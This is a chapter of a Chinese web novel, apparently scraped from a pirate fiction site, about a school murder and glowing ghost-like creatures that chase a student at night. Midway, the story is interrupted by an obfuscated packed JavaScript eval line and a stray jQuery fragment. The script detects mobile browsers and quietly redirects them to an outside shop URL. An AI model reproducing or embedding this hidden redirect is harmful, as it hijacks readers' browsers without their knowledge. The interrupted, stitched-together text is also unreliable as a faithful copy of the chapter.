文趣网 > 其他小说 > 费得斯 > 19. 等待进入网审
    几个老师迅速赶往教室,从窗户里窥见的惨案足矣让他们止住脚步。

    暗红色的血贴在瓷砖上,渗进书里,整个教室都没能幸免。

    只一眼,谁都清楚这件事根本瞒不住。

    古净霖背靠着栏杆,在等一个本该来到这里但一直没消息的某个人。

    他扫了一眼乱七八糟混乱的人群,他们担忧或紧张的脸上如同复制粘贴一般叠上苍白。

    死寂中猛地听见一声叹息。

    “唉……怎么偏偏死得是个学习好的。”

    他抬眼看了一下说话的那人,转身离去。

    既然等不到那个人来,只要自己去找了。

    教学楼下空无一人,除了上体育课的学生,其他人都被强制要求留在宿舍里学习。

    这个决定百分之八十是校长做的,老师和主任都没那么大的权力让全校学生都待在宿舍里。

    等走到校长室,伸手敲门的那一刻,那门忽然变了样子,金属门转变为一堵墙,水泥与砖块堵在他面前,他还保持着要敲门的动作。

    .

    “我好像知道凶手是谁了。”林芷渔盘腿坐在操场上,她以一副一切尽在掌控之中的样子说道:“就是校长!”

    和她一起盘腿坐在操场上的三个人同时转头看她。

    夏希灯叼着棒棒糖问:“有什么根据吗?”

    “他很可疑,他说完封校就死人了,这难道不能说明他有问题吗?”

    寻观点头附和道:“有理有据,你说得对。”

    夏希灯扶额,“万一是巧合呢?”

    宓云回答道:“那也太巧合了,不过这究竟是怎么做到的?”

    “等一下,朋友们!我有个问题。”林芷渔大声打断讨论,她问道:“受害者到底是谁?怎么都不愿意告诉我?”

    气氛瞬间凝固,三个人在这短短几秒里忽然变得很忙,寻观低着头认真数自己脚边的塑料草,宓云也开始看自己带来的错题本,而夏希灯在欣赏她的棒棒糖。

    “算了,不问了,我去厕所。”林芷渔第三次妥协,她撇着嘴走了。

    “我也去。”紧接着宓云也跟了上去。

    寻观疑惑地眼睛都睁大了,“他要去女厕所?”

    夏希灯没话说了。

    林芷渔并没有着急去厕所,她原本打算绕个远偷摸去教学楼看看受害者的,只是计划赶不上变化,她没想到宓云也会跟过来。

    “林芷渔,你的小说我帮你向陈老师要过来了。”

    “你去要,她肯定乐意给你。”她停下脚步,踢了踢脚下的假草,面前跑过几波正在训练的体育生,旁边是几个抓紧时间学习的学生,仿佛此刻还是那个普通的下午。

    还是那个他们没有像待宰的羔羊一样的下午。

    “我感觉特别不真实,人死的不真实,平静的不真实。”

    “嗯……”

    她深深吸了一口气,树与尘的气息钻进肺里,跑遍了全身又被放了出来,她沉着声说:“无论死的是谁,一定要找到凶手!”

    “嗯……”宓云像是丢了魂一样,声音又轻又飘,“林芷渔,你能看到那个吗?那是什么?”

    林芷渔顺着宓云指着的方向看过去,那是操场最里面的水泥屋,周围还有几棵树,别的就没什么了。

    “什么?我没看到有什么东西。”

    “你仔细看,那扇门,那扇门的门框是断开的,就像光的折射一样,那里有东西。”

    “你眼这么尖?”林芷渔再次看过去,生了锈的铁门框从下到上约莫二分之一处有偏移,约莫四分之三处也有偏移,而中间区域有点亮?

    她仔细观察了一下变得有一点亮的区域,的亏这个门是深色的,不然她把眼珠子瞪出来也看不出来。

    她本就发散的思维,此刻更是散得跟满天星一样。

    “像站了个人?”

    “要不……过去看看?”

    她转头看过来,诧异地问:“你不怕?”

    “我觉得你会想过去看看。”

    两个人早就将上厕所的事忘到九霄云外去了,他们离虚影越近,越有一种在被盯着的感觉。

    拥挤感越来越明显,她甚至感觉到有东西蹭到了手背,随便拍了几下,她拉住了宓云说:“附近有东西。”

    “我知道……”

    “它们像是一团发光透明物质,只是现在是白天,所以根本看不清,如果是晚上的话要清楚很多。”她扯着宓云往回走,“我们可以等天黑点了再来,什么也看不清,太不利了。”

    好巧不巧,刚回头就遇上了熟人。

    张伊蝶看着她,哽咽地说:“老师告诉我,尚安,他死了。我,我找了你半天,想让你别太难过了。”

    说这话时她站在阳光下,那双像是人工扩宽的瞳仁在光线下如同黑洞般透不进一丝光。

    林芷渔也随着她的话,僵在原地。

    之后怎么下得课,怎么吃得晚饭,又是怎么回到的宿舍,她都不记得了。

    恍恍惚惚地躺在床上,在被悲伤,荒诞与愤怒吞噬殆尽之前,她像终于破出水面般清醒过来。

    除了目击者,没人知道受害者是谁,而且怕造成恐慌,老师也根本不可能说出去。

    她是怎么知道的?除非她是凶手,可如果她是凶手,没必要像个傻子一样跑过来搞这么一出。

    她根本不怕暴露吗?

    不知想了多久,等到熄了灯,等到天彻底暗了下来,等到快接近凌晨……

    她枯坐在那考虑了很久,似乎终于下定决心般,站了起来。

    走廊里亮着绿色的逃生通道灯,一排的灯一路延伸到尽头。

    她走过走廊,走下楼梯,走到最后一段台阶时,像往常一样,她坐下来点了一支烟。

    她此刻无论哪个行为,一旦被发现,不是开除就是记过。

    但是都无所谓了,在这个学校里死了人没报警的那一刻,无论什么都无所谓了。

    烟雾随风飘出门去,她借着火点,隐约感受到了烟的走向。

    那薄烟像指引灯,又像引诱的毒蛇,她望着想起那第一次的尝试。

    她爸爸就抽烟,妈妈也偶尔抽,家里最不缺的就是烟盒。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694343|206343||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    等奶奶生了病,最不缺的就变成了廉价的烟盒。

    她小时候被呛得实在难受时问过:“爸爸,为什么总是要吸这种让人难受的烟啊?”

    她爸掐了烟,可隐在烟雾后面模糊不清的脸并没有因为烟雾的消失而变得清晰,反倒连同那嗓音一起变得遥远。

    “生活远比这要痛得多。”

    她也是坐在一阶台阶上,看着她爸妈离开的。

    直到他们彻底走远,她觉得痛,抽了第一支烟。

    她眯起眼,再度望向那缕烟,它出走般溜出了门。

    有些不对劲,她凑近那扇门,轻轻推了下。

    “吱呀——”寂静的楼道里将开门声放大到令人牙酸的程度。

    她轻手轻脚地溜出了门,等再度把门关上时,这才发觉门真的没关。

    机会难得,她打算现在去调查一下。

    只是令她想不到的是线索并没有等着她去找,而是自己跑过来找她了。

    处在女生宿舍门口,以她的位置,右上方是花坛和教学楼,左方是操场,期间短而宽的距离里晃荡了好几只诡异的发光体。

    那些像人的东西在撞见她的那一刻,就变得不似人了。

    粗糙的水泥地并没有让它们的行动迟缓一丝一毫,光亮矮短的脖子与那双腿顷刻间伸得老长。

    林芷渔被吓了一跳的同时,脑子还有空蹦出来一个词:长颈鹿?

    逃跑的反射弧与吐槽的撞在一起,她毫不迟疑转头就跑,嘴里也毫不迟疑地吐槽着:“卧槽!!这是什么东西啊?!这还是地球吗?!”

    飞出来的头猛地砸到了门上,它连短暂的眩晕都没有,调转方向继续冲过来。

    飞头的攻击同时吸引到了其他发光体,几颗不带脑子的头一同加入队伍。

    林芷渔绕着花坛转了几圈,躲过了几只肢体的攻击,她绕完花坛又绕着垃圾桶跑,绕完垃圾桶又跑进了教学楼。

    几个发光体像没脑子一样,她怎么跑,它们就怎么跟。

    她原本想让它们自己将自己缠住,跑了几圈后发现它们的肢体就像射线一样,一头可以无限延伸,缠住了也能伸长再转弯。

    再继续耗下去,先跑不动倒地上的只会是她自己。

    她刚跑进教学楼就闻到了一股刺鼻的消毒水味,还有一丝丝腥味,但此刻顾不得多想,她喘着气跑上楼,直到后面的幽灵不再跟来,这才能松口气。

    她双手拄着膝盖,一口接着一口地喘着气,嗓子和鼻腔被冷风冲刷地一阵一阵的痛,就连肺部也隐隐作痛起来。

    脑子里面嗡嗡的,不光有极跑过后的眩晕还有被消毒水味呛的。

    她艰难地爬在栏杆上,像晒在太阳下等待被烤干的死鱼。

    楼下还是那群诡异地缠在一起的发光体,她顺着它们来时的路线望去,看向它们聚集地最多的地方。

    正是白天那间屋子。

    她确信那里一定有什么东西,或者是这种鬼东西的老巢。

    “要过去看看才行。”

    想起自己白天说的话,她笑了一下,看来晚上行动更不利啊。